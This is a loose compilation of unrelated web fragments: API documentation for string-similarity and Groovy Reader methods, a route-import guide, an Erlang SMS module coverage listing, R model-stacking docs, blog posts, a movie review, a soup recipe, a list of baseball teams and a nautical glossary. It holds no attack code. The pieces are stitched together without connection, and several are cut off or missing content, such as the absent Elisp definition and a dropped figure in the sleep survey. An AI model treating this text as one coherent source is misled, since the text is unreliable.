- avg (bool) – If value is True, the three individual similarity scores (for each term list) are properly weighted, otherwise each term list’ score is of equal significance to the final score.
Returns: A similarity score normalized in range [0,1].
Return type:
src.sim_measures.
lgm_sim
(str1, str2, metric='damerau_levenshtein', avg=False)[source]¶Implements LGM-Sim metric.
Parameters:
- str1, str2 (str) – Input values in unicode.
- metric (str, optional) – Similarity metric used, as internal one, to split toponyms in the two distinct lists that contains base and mismatch terms respectively. Each of the above supported metrics can be used as input. Default metric is
damerau_levenshtein
.- avg (bool, optional) – If value is True, the three individual similarity scores (for each term list) are properly weighted, otherwise each term list’ score is of equal significance to the final score. Default value is False.
Returns: A similarity score normalized in range [0,1].
Return type:


Overview
This utility helps you import route plans to your account using comma separated values (CSV).
Work flow
Route plans in MyGeotab can be thought of as waypoints through a sequence of zones combined with a vehicle
(which will drive the route) and some optional information about when that vehicle
should depart from and make it to each waypoint. The input provided is parsed and if the specified device and all
zone waypoints exist, a new route is saved to your account. Note that a route needs a minimum of two waypoints.
| Parameter | Description | Required |
|---|---|---|
| RouteName | Name of the route | Yes |
| DeviceName | Which device to assign to the route | Yes |
| ZoneName | Name of a zone to include as a waypoint | Yes |
| StartTime | When the route will be driven (yyyy-mm-dd hh:mm:ss) | Yes |
| TripTime | Estimated time it will take to reach next the waypoint (hh:mm:ss) | No |
| StopTime | Estimated additional time the vehicle will spend at this stop (hh:mm:ss) | No |
| Distance (km) | Estimated travel distance to the stop | No |
Parameter format example
My Route 01,My Vehicle 01,Office Zone 1|2015-08-31T08:00:00.000Z|||,Office Zone 2|2015-08-31T10:00:00.000Z|||
Skill level
Intermediate


Iris is a flower Dataset. The dataset contains 3 classes of 50 instances each, where each class refers to a type of Iris Specie.
Slide to set values for all the features. The minimum and maximum value per feature is fixed. Choose a model and hit Predict. Output will be one of the three species of Iris viz Setosa, Versicolor, Virginica.


--- title: Elisp Function Composition layout: post tags: [elisp, emacs] uuid: 86809c4e-9f00-396d-71ab-b48d5950a343 ---
During my recent Elisp hacking I've run into the situation enough
times where I really wanted function composition that I officially
implemented it for myself. While there is
an apply-partially
function, Elisp does not currently come with a compose
function. Here's an Elisp definition,
Here it is in action with three functions.
{% highlight cl %} (funcall (compose 'prin1-to-string 'random* 'exp) 10) {% endhighlight %}I'll be using this in later posts (and linking back here when I do).


--- layout: post title: Rust date: 2013-09-11 16:01:48.000000000 -07:00 categories: - Programming tags: [] status: draft type: post published: false meta: _edit_last: '1' author: login: siegedog email<EMAIL_ADDRESS>display_name: siegedog first_name: '' last_name: '' excerpt: !ruby/object:Hpricot::Doc options: {} ---
- what makes it so great
- personal reasons for adoption
- comparison with ruby
- maybe some pointer analogies
- it's NATIVE
- used in that experimental renderer; after all - adoption in project is the most important step leading to the language's popularity, which then causes a chain reaction, pushing the language and its ecosystem forward; case study: Scala vs Haskell


Arizona Diamondbacks
Atlanta Braves
Baltimore Orioles
Boston Red Sox
Chicago Cubs
Chicago White Sox
Cincinnati Reds
Cleveland Indians
Colorado Rockies
Detriot Tigers
Houston Astros
Kansas City Royals
Los Angeles Angels
Los Angeles Dodgers
Miami Marlins
Minnesota Twins
Milwaukee Brewers
New York Mets
New York Yankees
Philadelphia Phillies
Pittsburgh Pirates
San Diego Padres
San Francisco Giants
Seattle Mariners
St. Louis Cardinals
Tampa Bay Rays
Texas Rangers
Toronto Blue Jays
Washington Nationals


header
MSSB World Tour (or MWT/MSSBWT, or Microsoft Sam Speaker Box World Tour), is an animated series that i built off of camp entries for the camp The Best of The Best (TBOTB). basically just an older version of CFAN4 and CFAN6. not canon anymore
characters
|
the "leader" of the group, MSSB drags the rest along on his ventures, dealing with Viola, deciding whether or not to destroy her again. MSSB's design is based off of the BFDI's announcer, although with a red color scheme to match the common portrayl of Microsoft Sam in funny error videos. |
|
|
showing up from the start, TV is the companion that tags along, providing information (and unwanted opinions) when necessary. the stain is from punching in cold blood. |
|
|
originally the host for the camp, Viola is pummeled by the rest of the group after giving the two some stupid challenges. who sends someone to Minecraft to get diamonds and a shelter? she's also not supposed to have arms. |


Dog Park comes from the pen of Kids in the Hall founding member Bruce McCulloch. It is a fairly pleasant piece of writing, with not much to recommend or diss it, and the hardest kind of review to write. The low rating is not an indicator of a bad movie (and if you haven't learned how this system works, click">http://www.crankycritic.com/history.html">click here), just of a very small movie that will probably vanish fairly quickly. The story is OK. The performances are OK. Production values are definitely low budget but suitable to the story.
Simply, Dog Park is just OK. Nothing awful. Nothing special. Just OK.
Welcome to the world of Toronto dog parks, where we meet a population of predominantly single thirtysomethings who know each other by the names of the dogs they take there for exercise. New to the single crowd is Andy (Luke Wilson), who hasn't been without a partner of some kind since eighth grade but has been freshly dumped by Cheryl (Kathleen Robertson) for a pink haired (sometimes blue haired) punk named Trevor (Gordon Currie). Stuck in between is their dog Mogley, who has "not been the same" since he's got a front row seat watching his "mom" getting shtupped by a different "dad". The solution is to bring Mogley to a doggie shrink Dr. Cavan (Mark McKinney) for therapy.
Dining alone in a singles bar, Andy inadvertantly catches the eye of Lorna (Natasha Henstridge), herself riding solo for the first time in a long whiles. One sex-less rendezvous later, Andy is smitten and Lorna is looking for a way out. Lorna is advised in her dating life by co-worker Rachel (Amie Carey). Andy is similarly advised by the only couple in our story, Jeri (Janeane Garofalo) and her virtual husband Jeff (McCulloch). Lest you think all these folk have in common is their love of dogs, no, they are all links in the same dating chain -- a concept explained one way by Rachel but demonstrated in a different way as you see how this plays out.
The positive is that McCulloch presents us with a full set of relatively normal people. It would have been easy to make 'em all dog geeks, obsessed with their puppies to the exclusion of all else, but his focus seems to be what happens to those of us who aren't bound by ball and chain at the age when we should be making babies. The true geek, McKinney's doctor character, shows an obsession that has ravaged his own family, wife and two kidlets. McKinney's performance, he's also a member of the Kids in the Hall, is one of the few sparks in this otherwise emotionally steady and mildly amusing story.
On average, a first run movie ticket will run you Eight Bucks. Were Cranky able to set his own price to Dog Park, he would have paid...
$2.00
Rent it.
The Cranky Critic® is a Registered Trademark of, and Copyright © 1999 by, Chuck Schwartz. All Rights Reserved. Cranky on the web at www.crankycritic.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: docs title: Supported Projects short: status permalink: /docs/supported/ author: matthewwang ---
Student Server Space is still in alpha, so our supported project list is relatively small. We'll update this page as we support more types of projects. Stay tuned!
Here's a quick and succint table that lets you know what we currently support on SSS. If your project type isn't here, then assume that we're not supporting it; that being said, let us know (we can try to get it working for you)!
| Project Type | Type Description | Special Requirements | Supported |
|---|---|---|---|
| HTML Static Project | HTML, CSS, and client-side JS project. No server side code. | None | |
| PHP-based Project | PHP, HTML, CSS, and client-side JS project. PHP is run server side. | None | |
| Node.js Project | Node.js centered project, can use HTML, CSS, JS assets. Node.js instance is run server side. |
npm install and npm start scripts with port parameters
|
The Icebox is our list of project types that we aren't looking to support in the near future, for a variety of reasons. This doesn't mean we'll never support them, but don't expect much now.


New location
The Pip docs have moved!
You will be automatically redirected to
the new site
in a few seconds.


The Installation Wizard provides a simple three step process for installing DNN and creating your first DNN website. The DNN Installation Wizard displays a single form where you can enter a username and password for the SuperUser account, select a template for the first site and then either select the default database setup or setup custom database options. Once the installer opens in your web browser, it will auto-detect the language set on your web browser and switch to that language. If the language isn't part of DNN Installer pack then installer will default to English. If you wish to install your site in a different language click the flag of the language you wish to use. This will change the language used in the wizard and will also create the site's default content in that language. The new sites management tools will also show in the chosen language once the site is installed.
You can use different templates by adding your template to the Portals/_default folder,
The DNN Installation Wizard


The 64-Bit processor we use today was designed by AMD back in the early 2000s when the 32-Bit limit began looming. It successfully took over the market share of both Desktop and Server processors despite Intel's Itanium server processor's competition. Today, most people have 64-Bit desktops and laptops.
For details on Slips7ream's architecture functionality, click the link to "32-Bit" above.


File generated from /Users/xenykr/Documents/project/Tellet/ssam/apps/ssam_message/.eunit/ssam_message_sms_resource.erl by COVER 2014-10-08 at 11:23:44 **************************************************************************** | %% ------------------------------------------------------------------------ | %% Copyright (c) 2014, Kook Maeng<EMAIL_ADDRESS>| %% | %% Permission to use, copy, modify, and/or distribute this software for any | %% purpose with or without fee is hereby granted, provided that the above | %% copyright notice and this permission notice appear in all copies. | %% | %% THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES | %% WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF | %% MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR | %% ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES | %% WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN | %% ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF | %% OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. | %% ------------------------------------------------------------------------ | | -module(ssam_message_sms_resource). | | %-compile(export_all). | -export([post/2]). | | -include_lib("ssam/include/ssam.hrl"). | -include("ssam_message.hrl"). | | | | post(#request{ | uri = [<<"sms">>] | } = Request, Sender) -> 0..| lager:info("~p:post -> RequestId: ~p, Path: ~p, Sender: ~p", | [?MODULE, Request#request.id, Request#request.path, Sender]), 0..| state_post_sms(check_callback_url, Request). | | | | %% Private functions | | state_post_sms(check_callback_url, #request{body = Body} = Request) -> 0..| case proplists:get_value(<<"callback_url">>, Body) of | ?undefined -> 0..| state_post_sms(check_msg_id, Request); | CallbackUrl -> 0..| Code = ssam_message:new_verification_code(), 0..| case ssam_message:confirm_url( | CallbackUrl, [{<<"verification_code">>, Code}], Code) of | ok -> 0..| state_post_sms(check_msg_id, Request); | {?error, Reason} -> 0..| {?error, ssam_rest:response(?STATUS_BAD_REQUEST, Reason, Request)} | end | end; | state_post_sms(check_msg_id, Request) -> 0..| #request{id = ReqId, account_sid = Sid, body = Body} = Request, 0..| MsgId = case proplists:get_value(<<"id">>, Body) of 0..| ?undefined -> ReqId; 0..| Id -> Id | end, 0..| case ssam_riakc:get(?BUCKET_MESSAGE_SMS, log_key(Sid, MsgId)) of | {?error, ?not_found} -> 0..| state_post_sms(check_receivers, {MsgId, Request}); | {ok, _} -> 0..| {?error, ssam_rest:response( | ?STATUS_BAD_REQUEST, ?id_duplicated, Request)} | end; | state_post_sms(check_receivers, {MsgId, Request}) -> 0..| To = proplists:get_value(<<"to">>, Request#request.body), 0..| To1 = re:replace(To, <<"[$\s.-]">>, <<>>, [global, unicode, {return, binary}]), 0..| ToList = re:split(To1, <<"[,;]">>, [unicode, {return, binary}]), 0..| ToList1 = lists:usort(ToList), %% No more duplicates 0..| case length(ToList1) > 0 of | true -> 0..| state_post_sms(write_ref, {MsgId, ToList1, Request}); | false -> 0..| {?error, ssam_rest:response(?STATUS_BAD_REQUEST, ?no_receivers, Request)} | end; | state_post_sms(write_ref, {MsgId, ToList, Request}) -> 0..| #request{id = RequestId, account_sid = Sid} = Request, 0..| RefId = ssam_util:unique_base64(), 0..| Doc = {[ | {<<"account_sid">>, Sid}, | {<<"request_id">>, RequestId}, | {<<"type">>, <<"sms">>}, | {<<"msg_id">>, MsgId}, | {<<"created">>, ssam_util:now_sec()} | ]}, 0..| case ssam_riakc:put(?BUCKET_MESSAGE_SMS, ref_key(RefId), Doc) of | ok -> 0..| state_post_sms(write_log, {RefId, MsgId, ToList, Request}); | {?error, Reason} when is_atom(Reason) -> 0..| {?error, ssam_rest:response(?STATUS_CONFLICT, Reason, Request)}; | {?error, _} -> 0..| {?error, ssam_rest:response(?STATUS_CONFLICT, write_ref, Request)} | end; | state_post_sms(write_log, {RefId, MsgId, ToList, Request}) -> 0..| #request{id = RequestId, account_sid = Sid, body = Body} = Request, 0..| Body1 = ssam_objects:list_deleted([<<"id">>, <<"to">>], Body), 0..| From = proplists:get_value(<<"from">>, Body1), 0..| Msg = proplists:get_value(<<"message">>, Body1), 0..| Doc = {[ | {<<"_ref_id">>, RefId}, | {<<"_request_id">>, RequestId}, | {<<"_type">>, <<"sms">>}, | {<<"_created">>, ssam_util:now_sec()}, | {<<"id">>, MsgId}, 0..| {<<"to">>, [{[{To, <<>>} || To <- ToList]}]} | | Body1 | ]}, 0..| case ssam_riakc:put(?BUCKET_MESSAGE_SMS, log_key(Sid, MsgId), Doc) of | ok -> 0..| state_post_sms(dispatch, {RefId, Msg, From, ToList, Doc, Request}); | {?error, Reason} when is_atom(Reason) -> 0..| {?error, ssam_rest:response(?STATUS_CONFLICT, Reason, Request)}; | {?error, _} -> 0..| {?error, ssam_rest:response( | ?STATUS_INTERNAL_SERVER_ERROR, write_log, Request)} | end; | state_post_sms(dispatch, {RefId, Msg, From, ToList, Doc, Request}) -> 0..| case ssam_conf:value(?SERVICE, [providers, default, handler]) of | ?undefined -> 0..| {?error, ssam_rest:response( | ?STATUS_SERVICE_UNAVAILABLE, ?provider_handler_not_found, Request)}; | Handler when is_atom(Handler) -> 0..| case Handler:send_sms(RefId, Msg, From, ToList) of | ok -> 0..| {ok, ssam_rest:response(?STATUS_CREATED, Doc, Request)}; | {?error, Reason} when is_atom(Reason) -> 0..| {?error, ssam_rest:response( | ?STATUS_INTERNAL_SERVER_ERROR, Reason, Request)}; | {?error, _} -> 0..| {?error, ssam_rest:response( | ?STATUS_INTERNAL_SERVER_ERROR, dispatch, Request)} | end | end. | | ref_key(RefId) -> 0..| <<"ref", ?DELIMITER, RefId/binary>>. | | log_key(Sid, MsgId) -> 0..| <<Sid/binary, ?DELIMITER, MsgId/binary>>. | | -ifdef(TEST). | -include_lib("eunit/include/eunit.hrl"). | | -endif.


Skills
HTML5 CSS/Sass Bootstrap Handlebar.js JavaScript
jQuery AngularJS React
Node.js Express Koa MongoDB MySQL AJAX
C MATLAB R
Concepts and Test
Object-Oriented Programming REST APIs MVC Responsive Design Data Analysis with Statistics
Mocha Chai Jasmine Karma
Test Driven Development Unit/Integration Test
Tools
Git Gulp.js Heroku Drupal Webpack Unix Command Line Photoshop ArcGIS


Become a Full Stack & Python developer
Run by certified volunteers from Apple and Google, the Seals program builds on the skills students have learned in the SCLA program. Come learn how to develop MEAN Stack apps and games using the current web technologies and Python. Seals learn the skills required to work in the tech field.


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 4-6
A light, spicy twist on a traditional summer vegetable soup. French ‘pistou’ is a distant relative of the Italian pesto, but my version reflects the Vietnamese influence on modern French food.
For the pistou, crush the ingredients to a smooth paste in a pestle and mortar (or use a food processor).
For the soup, heat the olive oil in a large pot. Add the onions and garlic and cook gently, stirring occasionally, until soft and translucent.
Add the thyme, bay leaves, tomato purée, carrots and courgettes, then cook for 15-20 minutes or until the vegetables are al dente (tender but still a little crunchy).
Add the green beans with the boiling water and bring to a boil, then add the pasta. Cook for 10 minutes or until the pasta is al dente.
Add the white beans and peas. Remove the sprig of thyme and the bay leaves, then add the salt, sugar and pepper to taste.
Serve immediately in bowls, with a dollop of Vietnamese pistou on top of the soup.


TRail
Attachments:
Jenkins_for_CI.pptx (application/vnd.openxmlformats-officedocument.presentationml.presentation)
TRail


{% include head.html %}
{% include header.html %}
{% include about.html %}
{% include experience.html %}
{% include comp.html %}
{% include realisations.html %}
{% include contacts.html %}
{{ content }} {% include footer.html %}


Toggle navigation
Chef Factory
Cookbooks
Roles
Sync
Cookbooks
Roles
Sync
Select All
Select All
Clone
Save
Test
Welcome to Chef Factory
You can Clone, Edit and Upload a Cookbook,Roles to Chef Server.
Please select a Cookbook or Role.
×
Close
Syncing Items - Please Wait for a while.


{% extends "base.html" %}
{% block content %}
{% trans %}Check out the areas of focus on the open web that we're thinking about; projects, research, and contests!{% endtrans %}
{% trans %}Find and participate in events happening in your area or engage in one of our online contests.{% endtrans %}
{% trans %}The open web is made up of awesome people, connect and communicate with some of them here.{% endtrans %}
{% trans %}We're hosting a design jam in Italy!{% endtrans %}
{% trans %}Meet Mozilla Foudation member Paul Osman{% endtrans %}


The questions no one cares about, but everyone's wondering
The question was:
On average, a member of the St. Olaf community spends about awake in bed before they get up. Out of 111 participants, just about half reported checking social media or doing something on their phone during that time. This is not too surprising.
Averages can only tell you so much though (some people reported spending 7+ hours in bed). Here's a breakdown of how many hours people reported staying in bed for:
When I was a kid, I used to think having a hard time getting out of bed was just something I personally struggled with. Once I realized this was something almost everyone I knew complained about, I started counting: how much of my life was I wasting in this groggy half-asleep lazy haze? How many hours were we all collectively spending in bed like this? I was obsessed.
My dream was always to be that kind of person who would get up immediately as soon as I woke up. If I could save that hour every morning, that was almost like an extra full 7 hour work day per week!
What had always been peculiar to me was that this seemed to be something that everyone agreed was a bad thing. Everyone seemed to admit to spending longer than they intended scrolling through their newsfeed in the morning.
And yet, it wasn't something most people seemed capable of changing.
"Of course!" you say. And you probably do get up right away when you need to, but what would it take to always get up as soon as you wake up? To waste absolutely no time?
I had tried to will myself out of bed in the mornings. Sometimes it would work, but most of the time it didn't. I began getting more obsessed. I embarked on this semi-militant campaign against overstaying in bed throughout my childhood.  And it is. We all know we can get up if we want to.
But then, why don't you?
This tension between knowing full well that you are capable of something and wanting to do it, but not actually doing it, kind of reminds me of Richard Feynmann's account of what's it like to be hypnotized. It always felt like he had full control of his actions throughout and could choose to disobey – he just didn't.
I began regarding overstaying in bed as absolute evil. I had to fight this. I would not be hypnotized. I tried various things throughout my life. These have been the most succesful:
The first is such a small change, with such drastic quality-of-life implications. Every day is wholly better knowing I wasted no time and going about my morning routine without the daily flood of messages & newsposts.
The second requires a lot more practice & patience. I've found that you can train yourself to get out of bed before your mind has a chance to really think about how tired you feel and how you'd much rather stay in. You would then be acting more on instinct and disregarding the arguments in your head. (I've found this to be good life advice in general: knowing what the right decision is and keeping it in your mind is important so that when the time comes, you can make this decision, even if you don't feel like it).
So what all do people do in bed during that time? As always, the full data is available here. Here are some from the people who spend over an hour in bed:
Just lay in bed, go back to sleep, or be on my phone.
Phone, try to go back to sleep, Netflix
Listening to music, laying on the bed but not actually doing anything.
Read articles, respond to emails
What I was surprised to learn from this analysis was that staying in bed was not the absolute evil I took it be. Some people actually had a pleasant experience during that time:
eat breakfast (served by husband); read books; talk with husband and son; play with cats; catch up on email.
Parent. I can't not wake up too early. So I just work to stay there and enjoy the quiet.
At this point you'd think I'd get better at phrasing these questions to avoid confusion. The question "What do you do?" was interpreted by a lot of people to mean "what do you do in life" as opposed to "in bed". The one person who wrote that they spend 8 hours in bed said they do "BM Music Major Vocal Performance".
I fear we'll never know what this music major does in bed for 8 hours...
– Omar


|
Groovy JDK |
| Method Summary | |
|---|---|
Object
|
eachLine(Closure closure)
Iterates through the given reader line by line. |
Object
|
eachLine(int firstLine, Closure closure)
Iterates through the given reader line by line. |
void
|
filterLine(Writer writer, Closure closure)
Filter the lines from a reader and write them on the writer, according to a closure which returns true if the line should be included. |
Writable
|
filterLine(Closure closure)
Filter the lines from this Reader, and return a Writable which can be used to stream the filtered lines to a destination. |
String
|
getText()
Read the content of the Reader and return it as a String. |
Iterator
|
iterator()
Creates an iterator which will traverse through the reader a line at a time. |
String
|
readLine()
Read a single, whole line from the given Reader. |
List
|
readLines()
Reads the reader into a list of Strings, with one entry for each line. |
Object
|
splitEachLine(String regex, Closure closure)
Iterates through the given reader line by line, splitting each line using the given regex separator. |
Object
|
splitEachLine(Pattern pattern, Closure closure)
Iterates through the given reader line by line, splitting each line using the given regex separator Pattern. |
void
|
transformChar(Writer writer, Closure closure)
Transforms each character from this reader by passing it to the given closure. |
void
|
transformLine(Writer writer, Closure closure)
Transforms the lines from a reader with a Closure and write them to a writer. |
Object
|
withReader(Closure closure)
Allows this reader to be used within the closure, ensuring that it is closed before this method returns. |
| Method Detail |
|---|
public Object eachLine(Closure closure)
closure
- a closure (arg 1 is line, optional arg 2 is line number starting at line 1).public Object eachLine(int firstLine, Closure closure)
firstLine
- the line number value used for the first line (default is 1, set to 0 to start counting from 0).closure
- a closure which will be passed each line (or for 2 arg closures the line and line count).public void filterLine(Writer writer, Closure closure)
writer
- a writer, closed after the call.closure
- the closure which returns booleans.public Writable filterLine(Closure closure)
true
if the line should be passed to the writer.closure
- a closure used for filtering.public String getText()
public Iterator iterator()
public String readLine()
public List readLines()
public Object splitEachLine(String regex, Closure closure)
Here is an example:
def s = 'The 3 quick\nbrown 4 fox' def result = '' new StringReader(s).splitEachLine(/\d/){ parts -> result += "${parts[0]}_${parts[1]}|" } assert result == 'The _ quick|brown _ fox|'
regex
- the delimiting regular expression.closure
- a closure.public Object splitEachLine(Pattern pattern, Closure closure)
Here is an example:
def s = 'The 3 quick\nbrown 4 fox' def result = '' new StringReader(s).splitEachLine(~/\d/){ parts -> result += "${parts[0]}_${parts[1]}|" } assert result == 'The _ quick|brown _ fox|'
pattern
- the regular expression Pattern for the delimiter.closure
- a closure.public void transformChar(Writer writer, Closure closure)
writer
- a Writer to receive the transformed characters.closure
- a closure that performs the required transformation.public void transformLine(Writer writer, Closure closure)
writer
- Where transformed lines are written. Writer is closed afterwards..closure
- Single parameter closure that is called to transform each line of
text from the reader, before writing it to the writer..public Object withReader(Closure closure)
closure
- the closure that the writer is passed into.
|
Groovy JDK |


Apply a model stack to create different types of predictions.
# S3 method for model_stack predict(object, new_data, type = NULL, members = FALSE, opts = list(), ...)
| object | A model stack with fitted members outputted from |
|---|---|
| new_data | A rectangular data object, such as a data frame. |
| type | Format of returned predicted values—one of "numeric", "class",
or "prob". When NULL, |
| members | Logical. Whether or not to additionally return the predictions for each of the ensemble members. |
| opts | A list of optional arguments to the underlying predict function passed on to parsnip::predict.model_fit for each member. |
| ... | Additional arguments. Currently ignored. |
This package provides some resampling objects and datasets for use in examples and vignettes derived from a study on 1212 red-eyed tree frog embryos!
Red-eyed tree frog (RETF) embryos can hatch earlier than their normal 7ish days if they detect potential predator threat. Researchers wanted to determine how, and when, these tree frog embryos were able to detect stimulus from their environment. To do so, they subjected the embryos at varying developmental stages to "predator stimulus" by jiggling the embryos with a blunt probe. Beforehand, though some of the embryos were treated with gentamicin, a compound that knocks out their lateral line (a sensory organ.) Researcher Julie Jung and her crew found that these factors inform whether an embryo hatches prematurely or not!
Note that the data included with the stacks package is not necessarily a representative or unbiased subset of the complete dataset, and is only for demonstrative purposes.
reg_folds
and class_folds
are rset
cross-fold validation objects
from rsample
, splitting the training data into for the regression
and classification model objects, respectively. tree_frogs_reg_test
and
tree_frogs_class_test
are the analogous testing sets.
reg_res_lr
, reg_res_svm
, and reg_res_sp
contain regression tuning results
for a linear regression, support vector machine, and spline model, respectively,
fitting latency
(i.e. how long the embryos took to hatch in response
to the jiggle) in the tree_frogs
data, using most all of the other
variables as predictors. Note that the data underlying these models is
filtered to include data only from embryos that hatched in response to
the stimulus.
class_res_rf
and class_res_nn
contain multiclass classification tuning
results for a random forest and neural network classification model,
respectively, fitting reflex
(a measure of ear function) in the
data using most all of the other variables as predictors.
log_res_rf
and log_res_nn
, contain binary classification tuning results
for a random forest and neural network classification model, respectively,
fitting hatched
(whether or not the embryos hatched in response
to the stimulus) using most all of the other variables as predictors.
See ?example_data
to learn more about these objects, as well as browse
the source code that generated them.
# \donttest{ # see the "Example Data" section above for # clarification on the data and tuning results # objects used in these examples! data(tree_frogs_reg_test) data(tree_frogs_class_test) # build and fit a regression model stack reg_st <- stacks() %>% add_candidates(reg_res_lr) %>% add_candidates(reg_res_sp) %>% blend_predictions() %>% fit_members() reg_st#>#> #>#> #>#> #>#> # A tibble: 5 x 3 #> member type weight #> <chr> <chr> <dbl> #> 1 reg_res_sp_2_1 linear_reg 0.346 #> 2 reg_res_lr_1_1 linear_reg 0.238 #> 3 reg_res_sp_4_1 linear_reg 0.224 #> 4 reg_res_sp_8_1 linear_reg 0.101 #> 5 reg_res_sp_9_1 linear_reg 0.0537#> # A tibble: 143 x 1 #> .pred #> <dbl> #> 1 115. #> 2 31.7 #> 3 93.7 #> 4 122. #> 5 167. #> 6 95.2 #> 7 125. #> 8 222. #> 9 167. #> 10 156. #> # … with 133 more rows#> # A tibble: 143 x 6 #> .pred reg_res_lr_1_1 reg_res_sp_8_1 reg_res_sp_9_1 reg_res_sp_4_1 #> <dbl> <dbl> <dbl> <dbl> <dbl> #> 1 115. 117. 101. 116. 118. #> 2 31.7 34.2 26.7 27.8 27.5 #> 3 93.7 111. 107. 84.1 83.2 #> 4 122. 106. 112. 135. 132. #> 5 167. 147. 161. 185. 178. #> 6 95.2 85.7 98.5 98.8 102. #> 7 125. 102. 115. 141. 135. #> 8 222. 224. 210. 229. 231. #> 9 167. 147. 160. 185. 179. #> 10 156. 153. 156. 157. 161. #> # … with 133 more rows, and 1 more variable: reg_res_sp_2_1 <dbl># build and fit a classification model stack class_st <- stacks() %>% add_candidates(class_res_nn) %>% add_candidates(class_res_rf) %>% blend_predictions() %>% fit_members()#> ! Bootstrap08: preprocessor 1/1, model 1/1: from glmnet Fortran code (error code -73); ...#> ! Bootstrap14: preprocessor 1/1, model 1/1: from glmnet Fortran code (error code -76); ...#> ! Bootstrap24: preprocessor 1/1, model 1/1: from glmnet Fortran code (error code -92); ...class_st#>#> #>#> #>#>#> #>#> # A tibble: 10 x 4 #> member type weight class #> <chr> <chr> <dbl> <chr> #> 1 .pred_full_class_res_nn_1_1 mlp 28.8 full #> 2 .pred_mid_class_res_rf_1_01 rand_forest 10.9 mid #> 3 .pred_mid_class_res_nn_1_1 mlp 7.82 mid #> 4 .pred_mid_class_res_rf_1_04 rand_forest 5.76 low #> 5 .pred_mid_class_res_rf_1_08 rand_forest 5.53 low #> 6 .pred_mid_class_res_rf_1_07 rand_forest 4.48 low #> 7 .pred_mid_class_res_rf_1_05 rand_forest 1.80 mid #> 8 .pred_mid_class_res_rf_1_10 rand_forest 1.36 mid #> 9 .pred_mid_class_res_rf_1_02 rand_forest 0.552 low #> 10 .pred_full_class_res_rf_1_04 rand_forest 0.284 mid# predict reflex, first as a class, then as # class probabilities predict(class_st, tree_frogs_class_test)#> # A tibble: 303 x 1 #> .pred_class #> <fct> #> 1 full #> 2 low #> 3 low #> 4 full #> 5 low #> 6 mid #> 7 low #> 8 full #> 9 full #> 10 low #> # … with 293 more rows#> # A tibble: 303 x 3 #> .pred_full .pred_low .pred_mid #> <dbl> <dbl> <dbl> #> 1 0.000000592 0.269 0.731 #> 2 0.999 0.000733 0.000223 #> 3 0.999 0.000595 0.000227 #> 4 0.00000156 0.256 0.744 #> 5 0.999 0.000705 0.000223 #> 6 0.000308 0.863 0.137 #> 7 0.999 0.000595 0.000227 #> 8 0.0000000651 0.143 0.857 #> 9 0.00000449 0.343 0.657 #> 10 0.999 0.000595 0.000227 #> # … with 293 more rows# returning the member predictions as well predict( class_st, tree_frogs_class_test, type = "prob", members = TRUE )#> # A tibble: 303 x 27 #> .pred_full .pred_low .pred_mid .pred_low_class_res_r… .pred_low_class_res_… #> <dbl> <dbl> <dbl> <dbl> <dbl> #> 1 0.000000592 0.269 0.731 0.468 0.313 #> 2 0.999 0.000733 0.000223 0.102 0.000619 #> 3 0.999 0.000595 0.000227 0.0458 0.0000355 #> 4 0.00000156 0.256 0.744 0.509 0.444 #> 5 0.999 0.000705 0.000223 0.109 0 #> 6 0.000308 0.863 0.137 0.519 0.603 #> 7 0.999 0.000595 0.000227 0.0458 0.0000355 #> 8 0.0000000651 0.143 0.857 0.283 0.167 #> 9 0.00000449 0.343 0.657 0.509 0.486 #> 10 0.999 0.000595 0.000227 0.0458 0.0000355 #> # … with 293 more rows, and 22 more variables: #> # .pred_low_class_res_rf_1_08 <dbl>, .pred_low_class_res_rf_1_07 <dbl>, #> # .pred_low_class_res_nn_1_1 <dbl>, .pred_low_class_res_rf_1_10 <dbl>, #> # .pred_low_class_res_rf_1_05 <dbl>, .pred_low_class_res_rf_1_01 <dbl>, #> # .pred_mid_class_res_rf_1_04 <dbl>, .pred_mid_class_res_rf_1_02 <dbl>, #> # .pred_mid_class_res_rf_1_08 <dbl>, .pred_mid_class_res_rf_1_07 <dbl>, #> # .pred_mid_class_res_nn_1_1 <dbl>, .pred_mid_class_res_rf_1_10 <dbl>, #> # .pred_mid_class_res_rf_1_05 <dbl>, .pred_mid_class_res_rf_1_01 <dbl>, #> # .pred_full_class_res_rf_1_04 <dbl>, .pred_full_class_res_rf_1_02 <dbl>, #> # .pred_full_class_res_rf_1_08 <dbl>, .pred_full_class_res_rf_1_07 <dbl>, #> # .pred_full_class_res_nn_1_1 <dbl>, .pred_full_class_res_rf_1_10 <dbl>, #> # .pred_full_class_res_rf_1_05 <dbl>, .pred_full_class_res_rf_1_01 <dbl># }


ionicSwiper
ionic.swiper
An alternative for swiperContainer using transclude but limited to 3 slides
It has some properties that you can use:
left-swiper and right-swiper are used to validate if, even with transclude slots fullfiled, they should be used as swipable containers. Those options do not create watchers and eval only once, if they are not provided the default value is true.
is-swipable creates an watcher and updates swiper container with no-swipe-class of swiper (or the custom set in swiper configs provider)
center-on-disable if the directive should slide to central slide when swiper is disabled. This one defaults to true and does not create watcher.
<ionic-swiper> </ionic-swiper>


--- status: "ready" title: "Description list" text: ---
A knot is a unit of speed equaling 1 nautical mile per hour (1.15 miles per hour or 1.852 kilometers per hour).
Port is the nautical term (used on boats and ships) that refers to the left side of a ship, as perceived by a person facing towards the bow (the front of the vessel).
Starboard is the nautical term (used on boats and ships) that refers to the right side of a vessel, as perceived by a person facing towards the bow (the front of the vessel).


Trimmer 1
Beard Trimmer 1
